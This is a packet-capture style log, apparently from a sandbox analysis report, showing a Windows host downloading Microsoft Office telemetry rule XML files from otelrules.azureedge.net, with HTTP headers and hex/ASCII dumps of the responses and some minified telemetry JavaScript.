2024-11-24 04:12:11 UTC	16384	IN	Data Raw: 63 6f 72 65 44 61 74 61 2c 22 62 65 68 61 76 69 6f 72 22 29 2c 75 65 28 6e 2e 70 61 67 65 54 79 70 65 29 26 26 28 65 2e 70 61 67 65 54 79 70 65 3d 6e 2e 70 61 67 65 54 79 70 65 29 2c 75 65 28 72 2e 5f 70 61 67 65 54 79 70 65 4d 65 74 61 54 61 67 29 26 26 21 75 65 28 65 2e 70 61 67 65 54 79 70 65 29 26 26 28 65 2e 70 61 67 65 54 79 70 65 3d 72 2e 5f 70 61 67 65 54 79 70 65 4d 65 74 61 54 61 67 29 2c 75 65 28 72 2e 5f 6d 61 72 6b 65 74 4d 65 74 61 54 61 67 29 26 26 28 65 2e 6d 61 72 6b 65 74 3d 72 2e 5f 6d 61 72 6b 65 74 4d 65 74 61 54 61 67 29 2c 65 2e 69 73 4c 6f 67 67 65 64 49 6e 3d 47 64 28 72 2e 5f 63 6f 6e 66 69 67 29 2c 74 2e 63 6f 6f 6b 69 65 45 6e 61 62 6c 65 64 3d 6f 63 28 29 7d 2c 69 70 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 73 65 74 50 61 67 65 54 Data Ascii: coreData,"behavior"),ue(n.pageType)&&(e.pageType=n.pageType),ue(r._pageTypeMetaTag)&&!ue(e.pageType)&&(e.pageType=r._pageTypeMetaTag),ue(r._marketMetaTag)&&(e.market=r._marketMetaTag),e.isLoggedIn=Gd(r._config),t.cookieEnabled=oc()},ip.prototype._setPageT
2024-11-24 04:12:11 UTC	16384	IN	Data Raw: 6e 21 30 3b 72 65 74 75 72 6e 21 31 7d 2c 41 70 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 69 73 54 72 61 63 6b 65 64 57 69 74 68 44 61 74 61 42 69 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 3d 65 2e 61 74 74 72 69 62 75 74 65 73 2c 6e 3d 30 3b 6e 3c 74 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 69 66 28 7e 74 5b 6e 5d 2e 6e 61 6d 65 2e 69 6e 64 65 78 4f 66 28 22 64 61 74 61 2d 62 69 2d 22 29 29 72 65 74 75 72 6e 21 30 3b 72 65 74 75 72 6e 21 31 7d 2c 41 70 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 69 73 54 72 61 63 6b 65 64 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 3d 65 2e 61 74 74 72 69 62 75 74 65 73 2c 6e 3d 30 3b 6e 3c 74 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 69 66 28 22 64 61 74 61 2d 6d 22 3d 3d 3d 74 5b 6e 5d 2e 6e 61 6d Data Ascii: n!0;return!1},Ap.prototype._isTrackedWithDataBi=function(e){for(var t=e.attributes,n=0;n<t.length;n++)if(~t[n].name.indexOf("data-bi-"))return!0;return!1},Ap.prototype._isTracked=function(e){for(var t=e.attributes,n=0;n<t.length;n++)if("data-m"===t[n].nam
2024-11-24 04:12:11 UTC	16384	IN	Data Raw: 75 74 68 54 6f 6b 65 6e 22 2c 61 3d 22 41 75 74 68 58 54 6f 6b 65 6e 22 2c 67 67 3d 22 6d 73 66 70 63 22 2c 76 67 3d 22 75 73 65 72 22 2c 68 67 3d 22 61 6c 6c 6f 77 52 65 71 75 65 73 74 53 65 6e 64 69 6e 67 22 2c 6d 67 3d 22 66 69 72 73 74 52 65 71 75 65 73 74 53 65 6e 74 22 2c 79 67 3d 22 73 68 6f 75 6c 64 41 64 64 43 6c 6f 63 6b 53 6b 65 77 48 65 61 64 65 72 73 22 2c 43 67 3d 22 67 65 74 43 6c 6f 63 6b 53 6b 65 77 48 65 61 64 65 72 56 61 6c 75 65 22 2c 62 67 3d 22 73 65 74 43 6c 6f 63 6b 53 6b 65 77 22 2c 79 65 3d 22 6c 65 6e 67 74 68 22 2c 54 67 3d 22 63 6f 6e 63 61 74 22 2c 49 67 3d 22 69 4b 65 79 22 2c 45 67 3d 22 63 6f 75 6e 74 22 2c 5f 67 3d 22 65 76 65 6e 74 73 22 2c 53 67 3d 22 70 75 73 68 22 2c 78 67 3d 22 73 70 6c 69 74 22 2c 4e 67 3d 22 73 70 Data Ascii: uthToken",a="AuthXToken",gg="msfpc",vg="user",hg="allowRequestSending",mg="firstRequestSent",yg="shouldAddClockSkewHeaders",Cg="getClockSkewHeaderValue",bg="setClockSkew",ye="length",Tg="concat",Ig="iKey",Eg="count",_g="events",Sg="push",xg="split",Ng="sp
2024-11-24 04:12:11 UTC	16384	IN	Data Raw: 29 29 2c 65 5b 6c 76 5d 26 26 28 65 5b 6c 76 5d 3d 65 61 28 65 5b 6c 76 5d 29 29 29 7d 66 75 6e 63 74 69 6f 6e 20 61 28 65 2c 74 29 7b 69 66 28 65 5b 79 76 5d 7c 7c 28 65 5b 79 76 5d 3d 30 29 2c 65 5b 43 76 5d 7c 7c 28 65 5b 43 76 5d 3d 31 29 2c 6c 28 65 29 2c 65 5b 62 76 5d 29 69 66 28 55 7c 7c 61 65 29 65 5b 43 76 5d 3d 33 2c 65 5b 62 76 5d 3d 21 31 3b 65 6c 73 65 20 69 66 28 48 29 72 65 74 75 72 6e 20 57 26 26 28 65 3d 65 61 28 65 29 29 2c 48 5b 72 76 5d 28 45 76 2e 63 72 65 61 74 65 28 65 5b 49 67 5d 2c 5b 65 5d 29 2c 21 30 3d 3d 3d 65 5b 62 76 5d 3f 31 3a 65 5b 62 76 5d 2c 33 29 3b 76 61 72 20 6e 3d 65 5b 43 76 5d 2c 72 3d 63 65 2c 69 3d 52 2c 61 3d 28 34 3d 3d 3d 6e 26 26 28 72 3d 6f 65 2c 69 3d 4f 29 2c 21 31 29 3b 72 3c 69 3f 61 3d 21 43 28 65 2c Data Ascii: )),e[lv]&&(e[lv]=ea(e[lv])))}function a(e,t){if(e[yv]\|\|(e[yv]=0),e[Cv]\|\|(e[Cv]=1),l(e),e[bv])if(U\|\|ae)e[Cv]=3,e[bv]=!1;else if(H)return W&&(e=ea(e)),H[rv](Ev.create(e[Ig],[e]),!0===e[bv]?1:e[bv],3);var n=e[Cv],r=ce,i=R,a=(4===n&&(r=oe,i=O),!1);r<i?a=!C(e,

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.7	49872	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 04:12:11 UTC	192	OUT	GET /rules/rule702801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 04:12:11 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 04:12:11 GMT Content-Type: text/xml Content-Length: 1391 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF58DC7E" x-ms-request-id: 23c3770b-601e-0084-293a-3c6b3f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T041211Z-178bfbc474bv7whqhC1NYC1fg400000005k00000000001tq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 04:12:11 UTC	1391	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.7	49873	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 04:12:11 UTC	192	OUT	GET /rules/rule702800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 04:12:11 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 04:12:11 GMT Content-Type: text/xml Content-Length: 1354 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0662D7C" x-ms-request-id: c06a529d-f01e-0085-0e9a-3b88ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T041211Z-15b8b599d885ffrhhC1TEBtuv000000003y000000000e1ca x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 04:12:11 UTC	1354	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S="Medium" /> <F T="2"> <O

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.7	49879	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 04:12:11 UTC	192	OUT	GET /rules/rule703350v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 04:12:12 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 04:12:11 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDF1E2608" x-ms-request-id: 2537c9bf-601e-0050-536a-3c2c9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T041211Z-174c587ffdf59vqchC1TEByk68000000040000000000hvxk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 04:12:12 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 63 72 69 70 74 4c 61 62 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703350" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenScriptLab" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.7	49878	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 04:12:11 UTC	192	OUT	GET /rules/rule703351v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 04:12:12 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 04:12:11 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCDD6400" x-ms-request-id: 6b735921-c01e-0066-37ca-3ba1ec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T041211Z-174c587ffdfl22mzhC1TEBk40c000000042g000000009bmd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 04:12:12 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703351" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.7	49885	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 04:12:11 UTC	192	OUT	GET /rules/rule703501v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 04:12:12 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 04:12:12 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:59 GMT ETag: "0x8DC582BE8C605FF" x-ms-request-id: 20e9f7cf-701e-005c-216c-3bbb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T041212Z-174c587ffdf9xbcchC1TEBxkz400000003ng00000000ruft x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 04:12:12 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703501" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSa

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.7	49890	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 04:12:13 UTC	192	OUT	GET /rules/rule703500v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 04:12:13 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 04:12:13 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF497570" x-ms-request-id: 77142413-201e-000c-6b0a-3d79c4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T041213Z-15b8b599d88l2dpthC1TEBmzr000000003xg000000005uzc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 04:12:13 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 6e 64 62 6f 78 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703500" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSandbox" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.7	49895	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 04:12:13 UTC	192	OUT	GET /rules/rule701801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 04:12:14 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 04:12:13 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC2EEE03" x-ms-request-id: 18ec886b-801e-0078-7044-3cbac6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T041213Z-178bfbc474bwh9gmhC1NYCy3rs00000005e000000000f2py x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 04:12:14 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.7	49899	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 04:12:13 UTC	192	OUT	GET /rules/rule701800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 04:12:14 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 04:12:14 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BEA414B16" x-ms-request-id: 7b3b97af-701e-003e-795c-3d79b3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T041214Z-178bfbc474bbbqrhhC1NYCvw7400000005g000000000h25h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 04:12:14 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 73 6f 75 72 63 65 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenResources" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.7	49907	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 04:12:14 UTC	192	OUT	GET /rules/rule701050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 04:12:14 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 04:12:14 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB256F43" x-ms-request-id: 1a99a412-f01e-0099-613c-3c9171000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T041214Z-178bfbc474bwh9gmhC1NYCy3rs00000005m0000000003ced x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 04:12:14 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 6c 65 61 73 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRelease" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.7	49901	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 04:12:14 UTC	192	OUT	GET /rules/rule701051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
